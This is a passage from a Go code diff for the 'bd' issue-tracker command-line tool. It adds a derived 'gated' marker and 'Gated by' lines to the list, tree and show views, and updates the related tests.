len(blockedBy) == 0 && len(blocks) == 0 && parent == "" && len(gatedBy) == 0 { return "" } @@ -160,6 +194,9 @@ func formatDependencyInfo(blockedBy, blocks []string, parent string) string { if len(blocks) > 0 { parts = append(parts, fmt.Sprintf("blocks: %s", strings.Join(blocks, ", "))) } + if len(gatedBy) > 0 { + parts = append(parts, fmt.Sprintf("gated by: %s", strings.Join(gatedBy, ", "))) + } return "(" + strings.Join(parts, ", ") + ")" } @@ -235,7 +272,7 @@ func getClosedBlockerIDs(ctx context.Context, s storage.DoltStorage, allDeps map // formatIssueCompact formats a single issue in compact format to a buffer // Uses status icons for better scanability - consistent with bd graph // Format: [icon] [pin] ID [Priority] [Type] @assignee [labels] - Title (parent: X, blocked by: Y, blocks: Z) -func formatIssueCompact(buf *strings.Builder, issue *types.Issue, labels []string, blockedBy, blocks []string, parent string) { +func formatIssueCompact(buf *strings.Builder, issue *types.Issue, labels []string, blockedBy, blocks []string, parent string, gatedBy []string) { labelsStr := "" if len(labels) > 0 { labelsStr = fmt.Sprintf(" %v", labels) @@ -246,7 +283,7 @@ func formatIssueCompact(buf *strings.Builder, issue *types.Issue, labels []strin } // Format dependency info - depInfo := formatDependencyInfo(blockedBy, blocks, parent) + depInfo := formatDependencyInfo(blockedBy, blocks, parent, gatedBy) if depInfo != "" { depInfo = " " + depInfo } @@ -256,6 +293,11 @@ func formatIssueCompact(buf *strings.Builder, issue *types.Issue, labels []strin if len(blockedBy) > 0 && issue.Status == types.StatusOpen { statusIcon = renderStatusIcon(types.StatusBlocked) } + // A gate is a blocker a reader cannot see in the row, so it takes the + // column back off ● (wy-j2upyy). Same predicate as the tree view's glyph. + if len(gatedBy) > 0 && types.SubjectCanBeGated(issue) { + statusIcon = ui.StatusBlockedStyle.Render(ui.StatusIconGated) + } if issue.Status == types.StatusClosed { // Closed issues: entire line muted (fades visually) diff --git a/cmd/bd/list_helpers_test.go b/cmd/bd/list_helpers_test.go index f9e06041d..2f81c72fc 100644 --- a/cmd/bd/list_helpers_test.go +++ b/cmd/bd/list_helpers_test.go @@ -293,7 +293,7 @@ func TestListDisplayPrettyListHonorsSort(t *testing.T) { } out := captureStdout(t, func() error { - displayPrettyListWithDepsMode(issues, false, nil, "", false, false, "closed", "closed", false) + displayPrettyListWithDepsMode(issues, false, nil, "", false, false, "closed", "closed", false, nil) return nil }) newAt, oldAt := strings.Index(out, "bd-new"), strings.Index(out, "bd-old") @@ -309,7 +309,7 @@ func TestListDisplayPrettyListHonorsSort(t *testing.T) { } out := captureStdout(t, func() error { - displayPrettyListWithDepsMode(issues, false, nil, "", false, false, "", "", true) + displayPrettyListWithDepsMode(issues, false, nil, "", false, false, "", "", true, nil) return nil }) p3At, p0At := strings.Index(out, "bd-p3"), strings.Index(out, "bd-p0") @@ -328,7 +328,7 @@ func TestListDisplayPrettyListHonorsSort(t *testing.T) { } out := captureStdout(t, func() error { - displayPrettyListWithDepsMode([]*types.Issue{parent, oldChild, newChild}, false, deps, "", false, false, "closed", "closed", false) + displayPrettyListWithDepsMode([]*types.Issue{parent, oldChild, newChild}, false, deps, "", false, false, "closed", "closed", false, nil) return nil }) newAt, oldAt := strings.Index(out, newChild.ID), strings.Index(out, oldChild.ID) @@ -373,7 +373,7 @@ func TestListDisplayPrettyList_TruncatedSummary(t *testing.T) { } out := captureStdout(t, func() error { - displayPrettyListWithDepsMode(issues, false, nil, "", true, false, "", "", false) + displayPrettyListWithDepsMode(issues, false, nil, "", true, false, "", "", false, nil) return nil }) if !strings.Contains(out, "Showing 2 issues") { diff --git a/cmd/bd/list_proxied_server.go b/cmd/bd/list_proxied_server.go index 87bf92152..21c059d50 100644 --- a/cmd/bd/list_proxied_server.go +++ b/cmd/bd/list_proxied_server.go @@ -164,7 +164,12 @@ func runListProxiedWatch(_ *cobra.Command, ctx context.Context, in listInput) er if err != nil { return fmt.Errorf("initial query: %w", err) } - displayPrettyListWithDepsMode(issues, true, deps, "", hasMore, in.ReadyFlag, in.Status, in.SortBy, in.Reverse) + // --watch renders no gate (the nil gated map), here and on the direct route + // in displayWatchedIssueList: a bead the one-shot listing marks ⊘ keeps its + // plain status glyph while watched, and no refresh tick pays for the gate + // reads. Deliberate, not a forgotten argument — decorating watch means + // computing the map on every refresh. + displayPrettyListWithDepsMode(issues, true, deps, "", hasMore, in.ReadyFlag, in.Status, in.SortBy, in.Reverse, nil) printTruncationHint(hasMore, in.effectiveLimit) lastSnapshot := issueSnapshot(issues) @@ -191,7 +196,8 @@ func runListProxiedWatch(_ *cobra.Command, ctx context.Context, in listInput) er snap := issueSnapshot(issues) if snap != lastSnapshot { lastSnapshot = snap - displayPrettyListWithDepsMode(issues, true, deps, "", hasMore, in.ReadyFlag, in.Status, in.SortBy, in.Reverse) + // Undecorated, as the initial render above. + displayPrettyListWithDepsMode(issues, true, deps, "", hasMore, in.ReadyFlag, in.Status, in.SortBy, in.Reverse, nil) printTruncationHint(hasMore, in.effectiveLimit) fmt.Fprintf(os.Stderr, "\nWatching for changes... (Press Ctrl+C to exit)\n") } @@ -247,7 +253,10 @@ func renderProxiedListText(ctx context.Context, out io.Writer, issues []*types.I printTruncationHint(truncated, in.effectiveLimit) return nil } - displayPrettyListWithDepsMode(issues, false, depsByIssueID, in.depsMode, truncated, in.ReadyFlag, in.Status, in.SortBy, in.Reverse) + // The gate decoration rides the edge map this route just read, so the + // proxied pretty listing says what the direct one says (wy-j2upyy). + displayPrettyListWithDepsMode(issues, false, depsByIssueID, in.depsMode, truncated, in.ReadyFlag, in.Status, in.SortBy, in.Reverse, + proxiedGatedIssueIDs(ctx, uw, issues, depsByIssueID)) printTruncationHint(truncated, in.effectiveLimit) printSkipLabelsFooter(in.SkipLabels) return nil @@ -276,11 +285,19 @@ func renderProxiedListText(ctx context.Context, out io.Writer, issues []*types.I } blocking := newListBlocking(result) + // The proxied --json routes get gated_by from workapi.BuildIssueDetails; + // without this the proxied TEXT routes would render a plain OPEN row for + // the same bead (wy-j2upyy). --long renders no gate, so it pays nothing. + var gated map[string][]string + if ui.IsAgentMode() || !in.longFormat { + gated = proxiedGatedIssueIDsOwnUOW(ctx, issues) + } + var buf strings.Builder switch { case ui.IsAgentMode(): for _, issue := range issues { - formatAgentIssue(&buf, issue, blocking.blockedBy[issue.ID], blocking.blocks[issue.ID], blocking.parent[issue.ID]) + formatAgentIssue(&buf, issue, blocking.blockedBy[issue.ID], blocking.blocks[issue.ID], blocking.parent[issue.ID], gated[issue.ID]) } fmt.Print(buf.String()) //nolint:forbidigo // Agent output is outside the --format contract. printTruncationHint(truncated, in.effectiveLimit) @@ -292,7 +309,7 @@ func renderProxiedListText(ctx context.Context, out io.Writer, issues []*types.I } default: for _, issue := range issues { - formatIssueCompact(&buf, issue, labelsMap[issue.ID], blocking.blockedBy[issue.ID], blocking.blocks[issue.ID], blocking.parent[issue.ID]) + formatIssueCompact(&buf, issue, labelsMap[issue.ID], blocking.blockedBy[issue.ID], blocking.blocks[issue.ID], blocking.parent[issue.ID], gated[issue.ID]) } } diff --git a/cmd/bd/list_roles_test.go b/cmd/bd/list_roles_test.go index 40b00b3ff..446c9321b 100644 --- a/cmd/bd/list_roles_test.go +++ b/cmd/bd/list_roles_test.go @@ -79,10 +79,10 @@ func TestNewListBlockingKeysTheDecorationByID(t *testing.T) { if got := blocking.blocks["bd-4"]; len(got) != 1 || got[0] != "bd-1" { t.Errorf("blocks[bd-4] = %v, want [bd-1]", got) } - if got := formatDependencyInfo(blocking.blockedBy["bd-5"], blocking.blocks["bd-5"], blocking.parent["bd-5"]); got != "" { + if got := formatDependencyInfo(blocking.blockedBy["bd-5"], blocking.blocks["bd-5"], blocking.parent["bd-5"], nil); got != "" { t.Errorf("a bare entry rendered %q, want no decoration at all", got) } - if got := formatDependencyInfo(blocking.blockedBy["bd-absent"], blocking.blocks["bd-absent"], blocking.parent["bd-absent"]); got != "" { + if got := formatDependencyInfo(blocking.blockedBy["bd-absent"], blocking.blocks["bd-absent"], blocking.parent["bd-absent"], nil); got != "" { t.Errorf("an id the role did not mention rendered %q, want no decoration at all", got) } } diff --git a/cmd/bd/list_show_filter_modes.go b/cmd/bd/list_show_filter_modes.go index 65578034d..50548cfd6 100644 --- a/cmd/bd/list_show_filter_modes.go +++ b/cmd/bd/list_show_filter_modes.go @@ -176,7 +176,9 @@ func displayWatchedIssueList(ctx context.Context, store watchListDependencyStore allDeps = deps } } - displayPrettyListWithDepsMode(issues, true, allDeps, "", truncated, readyFiltered, statusSelector, sortBy, reverse) + // No gate decoration (the nil gated map): --watch deliberately renders a + // gated bead undecorated, on both routes; see runListProxiedWatch. + displayPrettyListWithDepsMode(issues, true, allDeps, "", truncated, readyFiltered, statusSelector, sortBy, reverse, nil) } // watchIssues returns an error only for the initial query — a failure there @@ -268,7 +270,8 @@ func runListProxiedHierarchicalParent(ctx context.Context, uw uow.UnitOfWork, in } // Hierarchical --parent walks use an unlimited per-level query; never page-truncated. - displayPrettyListWithDepsMode(treeIssues, false, depsByIssueID, in.depsMode, false, in.ReadyFlag, in.Status, in.SortBy, in.Reverse) + displayPrettyListWithDepsMode(treeIssues, false, depsByIssueID, in.depsMode, false, in.ReadyFlag, in.Status, in.SortBy, in.Reverse, + proxiedGatedIssueIDs(ctx, uw, treeIssues, depsByIssueID)) printSkipLabelsFooter(in.SkipLabels) return nil } diff --git a/cmd/bd/list_test.go b/cmd/bd/list_test.go index 2aa3dcd64..4404f688c 100644 --- a/cmd/bd/list_test.go +++ b/cmd/bd/list_test.go @@ -1045,7 +1045,7 @@ func TestFormatIssueCompact(t *testing.T) { for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { var buf strings.Builder - formatIssueCompact(&buf, tt.issue, tt.labels, nil, nil, "") + formatIssueCompact(&buf, tt.issue, tt.labels, nil, nil, "", nil) result := buf.String() if !strings.Contains(result, tt.want) { t.Errorf("formatIssueCompact() = %q, want to contain %q", result, tt.want) @@ -1239,7 +1239,7 @@ func TestFormatIssueCompactWithDependencies(t *testing.T) { for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { var buf strings.Builder - formatIssueCompact(&buf, tt.issue, nil, tt.blockedBy, tt.blocks, "") + formatIssueCompact(&buf, tt.issue, nil, tt.blockedBy, tt.blocks, "", nil) result := buf.String() if !strings.Contains(result, tt.want) { t.Errorf("formatIssueCompact() = %q, want to contain %q", result, tt.want) @@ -1262,7 +1262,7 @@ func TestFormatIssueCompactBlockedIcon(t *testing.T) { Status: types.StatusOpen, } var buf strings.Builder - formatIssueCompact(&buf, issue, nil, []string{"blocker-1"}, nil, "") + formatIssueCompact(&buf, issue, nil, []string{"blocker-1"}, nil, "", nil) result := buf.String() // Should show blocked icon ● not open icon ○ if strings.Contains(result, ui.StatusIconOpen) { @@ -1282,7 +1282,7 @@ func TestFormatIssueCompactBlockedIcon(t *testing.T) { Status: types.StatusOpen, } var buf strings.Builder - formatIssueCompact(&buf, issue, nil, nil, nil, "") + formatIssueCompact(&buf, issue, nil, nil, nil, "", nil) result := buf.String() if !strings.Contains(result, ui.StatusIconOpen) { t.Errorf("open issue without blockers should show open icon ○, got: %q", result) @@ -1298,7 +1298,7 @@ func TestFormatIssueCompactBlockedIcon(t *testing.T) { Status: types.StatusInProgress, } var buf strings.Builder - formatIssueCompact(&buf, issue, nil, []string{"blocker-1"}, nil, "") + formatIssueCompact(&buf, issue, nil, []string{"blocker-1"}, nil, "", nil) result := buf.String() // Should keep in_progress icon, not override to blocked if !strings.Contains(result, ui.StatusIconInProgress) { @@ -1640,6 +1640,7 @@ func TestFormatDependencyInfoWithParent(t *testing.T) { blockedBy []string blocks []string parent string + gatedBy []string want string }{ { @@ -1675,11 +1676,25 @@ func TestFormatDependencyInfoWithParent(t *testing.T) { blockedBy: []string{"blocker-1"}, want: "(blocked by: blocker-1)", }, + { + // A gate is also a blocker, so it shows up twice on purpose: + // "blocked by" says what to wait on, "gated by" says which of + // those nobody can clear by doing more work (wy-j2upyy). + name: "gate names itself in both clauses", + blockedBy: []string{"bd-gate"}, + gatedBy: []string{"bd-gate"}, + want: "(blocked by: bd-gate, gated by: bd-gate)", + }, + { + name: "gated by alone still renders", + gatedBy: []string{"bd-gate"}, + want: "(gated by: bd-gate)", + }, } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { - result := formatDependencyInfo(tt.blockedBy, tt.blocks, tt.parent) + result := formatDependencyInfo(tt.blockedBy, tt.blocks, tt.parent, tt.gatedBy) if result != tt.want { t.Errorf("formatDependencyInfo() = %q, want %q", result, tt.want) } @@ -1700,7 +1715,7 @@ func TestFormatIssueCompactWithParent(t *testing.T) { t.Run("shows parent annotation", func(t *testing.T) { var buf strings.Builder - formatIssueCompact(&buf, issue, nil, nil, nil, "test-parent") + formatIssueCompact(&buf, issue, nil, nil, nil, "test-parent", nil) result := buf.String() if !strings.Contains(result, "(parent: test-parent)") { t.Errorf("Expected '(parent: test-parent)' in output, got %q", result) @@ -1709,7 +1724,7 @@ func TestFormatIssueCompactWithParent(t *testing.T) { t.Run("does not show blocked by for parent", func(t *testing.T) { var buf strings.Builder - formatIssueCompact(&buf, issue, nil, nil, nil, "test-parent") + formatIssueCompact(&buf, issue, nil, nil, nil, "test-parent", nil) result := buf.String() if strings.Contains(result, "blocked by") { t.Errorf("Should not contain 'blocked by' for parent-child dep, got %q", result) @@ -1718,7 +1733,7 @@ func TestFormatIssueCompactWithParent(t *testing.T) { t.Run("shows parent and blocked by together", func(t *testing.T) { var buf strings.Builder - formatIssueCompact(&buf, issue, nil, []string{"blocker-1"}, nil, "test-parent") + formatIssueCompact(&buf, issue, nil, []string{"blocker-1"}, nil, "test-parent", nil) result := buf.String() if !strings.Contains(result, "(parent: test-parent, blocked by: blocker-1)") { t.Errorf("Expected '(parent: test-parent, blocked by: blocker-1)' in output, got %q", result) diff --git a/cmd/bd/list_tree.go b/cmd/bd/list_tree.go index 24ca162a7..c47e47eec 100644 --- a/cmd/bd/list_tree.go +++ b/cmd/bd/list_tree.go @@ -162,8 +162,8 @@ const treeCycleMarker = "(cycle: shown above; parent-child cycle in stored edges // Children use the requested list order. With --deps, dependency order takes // precedence and the requested order breaks ties. When dr is set, each node's // dependency edges are annotated just beneath it. -func printPrettyTree(childrenMap map[string][]*types.Issue, parentID string, prefix string, dr *depRender, compare func(a, b *types.Issue) int) { - printPrettyTreePath(childrenMap, parentID, prefix, dr, compare, map[string]bool{parentID: true}) +func printPrettyTree(childrenMap map[string][]*types.Issue, parentID string, prefix string, dr *depRender, compare func(a, b *types.Issue) int, gated map[string][]string) { + printPrettyTreePath(childrenMap, parentID, prefix, dr, compare, gated, map[string]bool{parentID: true}) } // printPrettyTreePath is printPrettyTree carrying the set of ancestors on the @@ -176,7 +176,7 @@ func printPrettyTree(childrenMap map[string][]*types.Issue, parentID string, pre // renders under both; only a true ancestor counts as a cycle. Like the // "(shown above)" arm of bd dep tree, the marked line carries no --deps // annotations: they were printed with the node's first appearance. -func printPrettyTreePath(childrenMap map[string][]*types.Issue, parentID string, prefix string, dr *depRender, compare func(a, b *types.Issue) int, onPath map[string]bool) { +func printPrettyTreePath(childrenMap map[string][]*types.Issue, parentID string, prefix string, dr *depRender, compare func(a, b *types.Issue) int, gated map[string][]string, onPath map[string]bool) { children := childrenMap[parentID] if dr != nil { @@ -192,10 +192,10 @@ func printPrettyTreePath(childrenMap map[string][]*types.Issue, parentID string, connector = "└── " } if onPath[child.ID] { - fmt.Printf("%s%s%s %s\n", prefix, connector, formatPrettyIssue(child), ui.RenderMuted(treeCycleMarker)) //nolint:forbidigo // Pretty-tree output is outside the --format contract. + fmt.Printf("%s%s%s %s\n", prefix, connector, formatPrettyIssueGated(child, gated[child.ID]), ui.RenderMuted(treeCycleMarker)) //nolint:forbidigo // Pretty-tree output is outside the --format contract. continue } - fmt.Printf("%s%s%s\n", prefix, connector, formatPrettyIssue(child)) //nolint:forbidigo // Pretty-tree output is outside the --format contract. + fmt.Printf("%s%s%s\n", prefix, connector, formatPrettyIssueGated(child, gated[child.ID])) //nolint:forbidigo // Pretty-tree output is outside the --format contract. extension := "│ " if isLast { @@ -203,7 +203,7 @@ func printPrettyTreePath(childrenMap map[string][]*types.Issue, parentID string, } dr.annotationsFor(child.ID, prefix+extension) onPath[child.ID] = true - printPrettyTreePath(childrenMap, child.ID, prefix+extension, dr, compare, onPath) + printPrettyTreePath(childrenMap, child.ID, prefix+extension, dr, compare, gated, onPath) delete(onPath, child.ID) } } @@ -222,7 +222,7 @@ func displayPrettyList(issues []*types.Issue, showHeader bool) { // summary through this wrapper, and a hardcoded false silently restores the // vacuous "(N open, 0 in progress)" that listFooterLine exists to suppress. func displayPrettyListWithDeps(issues []*types.Issue, showHeader bool, allDeps map[string][]*types.Dependency, truncated, readyFiltered bool, statusSelector string) { - displayPrettyListWithDepsMode(issues, showHeader, allDeps, "", truncated, readyFiltered, statusSelector, "", false) + displayPrettyListWithDepsMode(issues, showHeader, allDeps, "", truncated, readyFiltered, statusSelector, "", false, nil) } // listFooterLine renders the one-line summary under a text listing. @@ -284,7 +284,10 @@ func readyFooterScope(statusSelector string) string { // readyFiltered means --ready was in force; statusSelector is the --status value // so the summary names the pin that actually applied — see listFooterLine. // sortBy and reverse preserve the requested list order within the hierarchy. -func displayPrettyListWithDepsMode(issues []*types.Issue, showHeader bool, allDeps map[string][]*types.Dependency, depsMode string, truncated, readyFiltered bool, statusSelector, sortBy string, reverse bool) { +// gated maps each listed id to the OPEN gates holding it (gatesByIssueID); +// nil means the caller computed no gate decoration, and every row renders as +// it always did. +func displayPrettyListWithDepsMode(issues []*types.Issue, showHeader bool, allDeps map[string][]*types.Dependency, depsMode string, truncated, readyFiltered bool, statusSelector, sortBy string, reverse bool, gated map[string][]string) { if showHeader { // Clear screen and show header fmt.Print("\033[2J\033[H") //nolint:forbidigo // Pretty-tree output is outside the --format contract. @@ -313,9 +316,9 @@ func displayPrettyListWithDepsMode(issues []*types.Issue, showHeader bool, allDe } for _, issue := range roots { - fmt.Println(formatPrettyIssue(issue)) //nolint:forbidigo // Pretty-tree output is outside the --format contract. + fmt.Println(formatPrettyIssueGated(issue, gated[issue.ID])) //nolint:forbidigo // Pretty-tree output is outside the --format contract. dr.annotationsFor(issue.ID, "") - printPrettyTree(childrenMap, issue.ID, "", dr, compare) + printPrettyTree(childrenMap, issue.ID, "", dr, compare, gated) } // Summary — counts describe the shown page; never label a truncated page "Total". @@ -333,8 +336,15 @@ func displayPrettyListWithDepsMode(issues []*types.Issue, showHeader bool, allDe } fmt.Println(listFooterLine(len(issues), openCount, inProgressCount, truncated, readyFiltered, statusSelector)) //nolint:forbidigo // Pretty-tree output is outside the --format contract. fmt.Println() //nolint:forbidigo // Pretty-tree output is outside the --format contract. - fmt.Println("Status: ○ open ◐ in_progress ● blocked ✓ closed ❄ deferred") //nolint:forbidigo // Pretty-tree output is outside the --format contract. - fmt.Println("Priority: P0–P4 (label only; not a status icon)") //nolint:forbidigo // Pretty-tree output is outside the --format contract. + // The gated glyph joins the legend only when the page actually carries one: + // it is a derived decoration, not a status, and a permanent entry would + // promise a row shape most listings never show. + statusLegend := "Status: ○ open ◐ in_progress ● blocked ✓ closed ❄ deferred" + if len(gated) > 0 { + statusLegend += " " + ui.StatusIconGated + " gated (open gate; not in bd ready)" + } + fmt.Println(statusLegend) //nolint:forbidigo // Pretty-tree output is outside the --format contract. + fmt.Println("Priority: P0–P4 (label only; not a status icon)") //nolint:forbidigo // Pretty-tree output is outside the --format contract. if dr != nil { fmt.Printf("Deps: %s = depends-on / relationship (points to target); siblings ordered so dependencies come first; ↗ = target outside current view\n", depGlyph) //nolint:forbidigo // Pretty-tree output is outside the --format contract. } diff --git a/cmd/bd/list_tree_cycle_test.go b/cmd/bd/list_tree_cycle_test.go index 6f40f46f1..d2ff5aa89 100644 --- a/cmd/bd/list_tree_cycle_test.go +++ b/cmd/bd/list_tree_cycle_test.go @@ -111,7 +111,7 @@ func TestPrintPrettyTree_CycleRendersAncestorOnce(t *testing.T) { } out, terminated := captureBoundedStdout(t, func() { - printPrettyTree(childrenMap, "bd-a", "", nil, compareIssuesByPriority) + printPrettyTree(childrenMap, "bd-a", "", nil, compareIssuesByPriority, nil) }) if !terminated { t.Fatalf("printPrettyTree did not return within %v on a cyclic tree; first output:\n%s", captureDeadline, head(out, 20)) @@ -148,7 +148,7 @@ func TestPrintPrettyTree_DiamondRendersUnderBothParents(t *testing.T) { } out, terminated := captureBoundedStdout(t, func() { - printPrettyTree(childrenMap, "bd-a", "", nil, compareIssuesByPriority) + printPrettyTree(childrenMap, "bd-a", "", nil, compareIssuesByPriority, nil) }) if !terminated { t.Fatalf("printPrettyTree did not return on an acyclic diamond:\n%s", head(out, 20)) @@ -233,7 +233,7 @@ func TestDisplayPrettyListWithDepsMode_CycleMarkerCarriesNoAnnotations(t *testin } out, terminated := captureBoundedStdout(t, func() { - displayPrettyListWithDepsMode(issues, false, allDeps, "all", false, false, "", "", false) + displayPrettyListWithDepsMode(issues, false, allDeps, "all", false, false, "", "", false, nil) }) if !terminated { t.Fatalf("bd list --tree --deps did not return within %v on a parent-child cycle; first output:\n%s", captureDeadline, head(out, 20)) diff --git a/cmd/bd/show.go b/cmd/bd/show.go index 509149aa0..75f3c6668 100644 --- a/cmd/bd/show.go +++ b/cmd/bd/show.go @@ -191,15 +191,30 @@ var showCmd = &cobra.Command{ result.Close() continue } + // Dependencies are read here rather than at the DEPENDS ON + // section below because the header needs them: the derived GATED + // marker (wy-j2upyy) is the gate-typed subset of this very set, + // so hoisting the read decorates the header and the meta block + // without a second query. Best effort, as it always was: a failed + // read renders the issue undecorated rather than not at all. + // + // Counts first — see readDepCounts for why the order matters. The + // listing's error is KEPT, not discarded: rendering stays best + // effort, but a FAILED listing and a SHORT one both leave the + // slice empty, and only the second is an unresolvable edge. + depCountsSnapshot := readDepCounts(ctx, issueStore, issue.ID) + depsWithMeta, depsErr := issueStore.GetDependenciesWithMetadata(ctx, issue.ID) + gates := types.GatesHolding(issue, depsWithMeta) + if idx > 0 { fmt.Println("\n" + ui.RenderMuted(strings.Repeat("─", 60))) - fmt.Printf("\n%s\n", formatIssueHeader(issue)) + fmt.Printf("\n%s\n", formatIssueHeaderWithGates(issue, gates)) } else { - fmt.Printf("%s\n", formatIssueHeader(issue)) + fmt.Printf("%s\n", formatIssueHeaderWithGates(issue, gates)) } // Metadata: Owner · Type | Created · Updated - fmt.Println(formatIssueMetadata(issue)) + fmt.Println(formatIssueMetadataWithGates(issue, gates)) // Content sections — always show DESCRIPTION header so the user // can distinguish "empty" from "hidden" (GH#3336). @@ -234,12 +249,7 @@ var showCmd = &cobra.Command{ relatedSeen := make(map[string]*types.IssueWithDependencyMetadata) // Show dependencies - grouped by dependency type for clarity - // Counts first — see readDepCounts for why the order matters. - depCountsSnapshot := readDepCounts(ctx, issueStore, issue.ID) - // The errors are KEPT, not discarded: rendering stays best - // effort, but a FAILED listing and a SHORT one both leave the - // slice empty, and only the second is an unresolvable edge. - depsWithMeta, depsErr := issueStore.GetDependenciesWithMetadata(ctx, issue.ID) // Best effort: show issue even if deps unavailable + // (read above, with the header's gate decoration). for _, sec := range groupDepSections(depsWithMeta, true, relatedSeen) { printDepSection(sec) } diff --git a/cmd/bd/show_format.go b/cmd/bd/show_format.go index 28504d7f9..69c065fa6 100644 --- a/cmd/bd/show_format.go +++ b/cmd/bd/show_format.go @@ -46,6 +46,17 @@ func formatShortIssue(issue *types.Issue) string { // Format: ID · Title [Priority · STATUS] // All elements in bd show get semantic colors since focus is on one issue func formatIssueHeader(issue *types.Issue) string { + return formatIssueHeaderWithGates(issue, nil) +} + +// formatIssueHeaderWithGates is formatIssueHeader plus the derived GATED +// marker: [P2 · OPEN · GATED] when an open gate blocks the issue. The stored +// status is untouched — GATED is a third segment, not a replacement — because +// the row really is open and `bd ready` really does skip it, and a reader who +// sees only OPEN has no way to tell those two facts apart. Callers pass the +// gates types.GatesHolding selected; an empty set renders exactly what +// formatIssueHeader always did. +func formatIssueHeaderWithGates(issue *types.Issue, gates []*types.Issue) string { // Get status icon and style statusIcon := ui.RenderStatusIcon(string(issue.Status)) statusStyle := ui.GetStatusStyle(string(issue.Status)) @@ -72,10 +83,17 @@ func formatIssueHeader(issue *types.Issue) string { tierEmoji = " 📦" } + // Derived gate marker (wy-j2upyy): an open gate holds this issue out of + // bd ready, so the header says so. + gatedStr := "" + if len(gates) > 0 { + gatedStr = " · " + ui.StatusBlockedStyle.Render("GATED") + } + // Build header: STATUS_ICON ID · Title [Priority · STATUS] idStyled := ui.RenderAccent(issue.ID) - return fmt.Sprintf("%s %s%s · %s%s [%s · %s]", - statusIcon, idStyled, typeBadge, issue.Title, tierEmoji, priorityTag, statusStr) + return fmt.Sprintf("%s %s%s · %s%s [%s · %s%s]", + statusIcon, idStyled, typeBadge, issue.Title, tierEmoji, priorityTag, statusStr, gatedStr) } // formatIssueMetadata returns the metadata line(s) with grouped info @@ -83,6 +101,15 @@ func formatIssueHeader(issue *types.Issue) string { // // Created: 2026-01-06 · Updated: 2026-01-08 func formatIssueMetadata(issue *types.Issue) string { + return formatIssueMetadataWithGates(issue, nil) +} + +// formatIssueMetadataWithGates is formatIssueMetadata plus one "Gated by:" +// line per active gate, beside the Deferred: line the time row carries: a +// deferred AND gated issue shows both, because they are two different reasons +// the work is not startable. A gate that has been resolved (closed) is not in +// the set and renders nothing. +func formatIssueMetadataWithGates(issue *types.Issue, gates []*types.Issue) string { var lines []string // Line 1: Created by/Assignee · Type @@ -126,6 +153,11 @@ func formatIssueMetadata(issue *types.Issue) string { lines = append(lines, strings.Join(timeParts, " · ")) } + // Line 3+: one line per gate actively blocking this issue. + for _, gate := range gates { + lines = append(lines, formatGatedByLine(gate)) + } + // Lease line: only when an active lease is held (in_progress + non-null // lease_expires_at). row_lock is internal and never surfaced. if issue.Status == types.StatusInProgress && issue.LeaseExpiresAt != nil { @@ -578,3 +610,22 @@ func formatMetadataValue(v any) string { return string(b) } } + +// formatGatedByLine renders one gate on bd show's meta block: +// +// Gated by: bd-abc (human: Need design review) +// Gated by: bd-def (gh:pr, awaiting 42) +// +// The parenthetical is the gate's own record — its await type, the reason its +// creator gave, and what it is waiting on — so the reader can act on the gate +// without a second lookup. +func formatGatedByLine(gate *types.Issue) string { + detail := types.GateKind(gate) + if reason := types.GateReason(gate.Description); reason != "" { + detail += ": " + reason + } + if gate.AwaitID != "" { + detail += ", awaiting " + gate.AwaitID + } + return fmt.Sprintf("Gated by: %s (%s)", gate.ID, detail) +} diff --git a/cmd/bd/show_proxied_server.go b/cmd/bd/show_proxied_server.go index 7aa739a38..71f278c78 100644 --- a/cmd/bd/show_proxied_server.go +++ b/cmd/bd/show_proxied_server.go @@ -528,13 +528,27 @@ func runShowProxiedDefault(ctx context.Context, uw uow.UnitOfWork, in *showProxi } func proxiedRenderIssue(ctx context.Context, uw uow.UnitOfWork, issue *types.Issue, isWisp bool, in *showProxiedInput, idx int, formatTime func(time.Time) string) { + // The outgoing edges are read here rather than at the DEPENDS ON section + // below because the header needs them: the derived GATED marker + // (wy-j2upyy) is the gate-typed subset of this very set. Without it the + // proxied text route renders a plain OPEN header for a bead whose own + // --json already publishes gated_by. Best effort, as it always was. + // + // Counts first — see readDepCounts for why the order matters. The + // listing's error is KEPT, not discarded: rendering stays best effort, + // but a FAILED listing and a SHORT one both leave the slice empty, and + // only the second is an unresolvable edge. + depCountsSnapshot := readDepCounts(ctx, proxiedDepCounter{src: workapi.NewUOWDetailSource(uw), isWisp: isWisp}, issue.ID) + depsWithMeta, depsErr := proxiedListDeps(ctx, uw, issue.ID, isWisp, domain.DepListFilter{Direction: domain.DepDirectionOut}) + gates := types.GatesHolding(issue, depsWithMeta) + if idx > 0 { fmt.Println("\n" + ui.RenderMuted(strings.Repeat("─", 60))) - fmt.Printf("\n%s\n", formatIssueHeader(issue)) + fmt.Printf("\n%s\n", formatIssueHeaderWithGates(issue, gates)) } else { - fmt.Printf("%s\n", formatIssueHeader(issue)) + fmt.Printf("%s\n", formatIssueHeaderWithGates(issue, gates)) } - fmt.Println(formatIssueMetadata(issue)) + fmt.Println(formatIssueMetadataWithGates(issue, gates)) if issue.Description != "" { fmt.Printf("\n%s\n%s\n", ui.RenderBold("DESCRIPTION"), uimd.RenderMarkdown(issue.Description)) @@ -576,13 +590,7 @@ func proxiedRenderIssue(ctx context.Context, uw uow.UnitOfWork, issue *types.Iss relatedSeen := make(map[string]*types.IssueWithDependencyMetadata) - // Counts first — see readDepCounts for why the order matters. - depCountsSnapshot := readDepCounts(ctx, proxiedDepCounter{src: workapi.NewUOWDetailSource(uw), isWisp: isWisp}, issue.ID) - - // The errors are KEPT, not discarded: rendering stays best effort, but a - // FAILED listing and a SHORT one both leave the slice empty, and only the - // second is an unresolvable edge. - depsWithMeta, depsErr := proxiedListDeps(ctx, uw, issue.ID, isWisp, domain.DepListFilter{Direction: domain.DepDirectionOut}) + // (read above, with the header's gate decoration). for _, sec := range groupDepSections(depsWithMeta, true, relatedSeen) { printDepSection(sec) } diff --git a/cmd/bd/state.go b/cmd/bd/state.go index 6478c77b5..a3ad36623 100644 --- a/cmd/bd/state.go +++ b/cmd/bd/state.go @@ -197,7 +197,10 @@ func runSetState(ctx context.Context, issueID, dimension, newValue, reason strin eventDesc = fmt.Sprintf("Set %s to %s", dimension, newValue) } if reason != "" { - eventDesc += "\n\nReason: " + reason + // The same marker types.GateDescription writes, from the one constant + // that owns its spelling — types.GateReason reads any description + // carrying it, so the two writers must not drift apart by accident. + eventDesc += types.ReasonMarker + reason } lifecycle, err := openIssueLifecycle() diff --git a/docs/reference/json-schema.md b/docs/reference/json-schema.md index 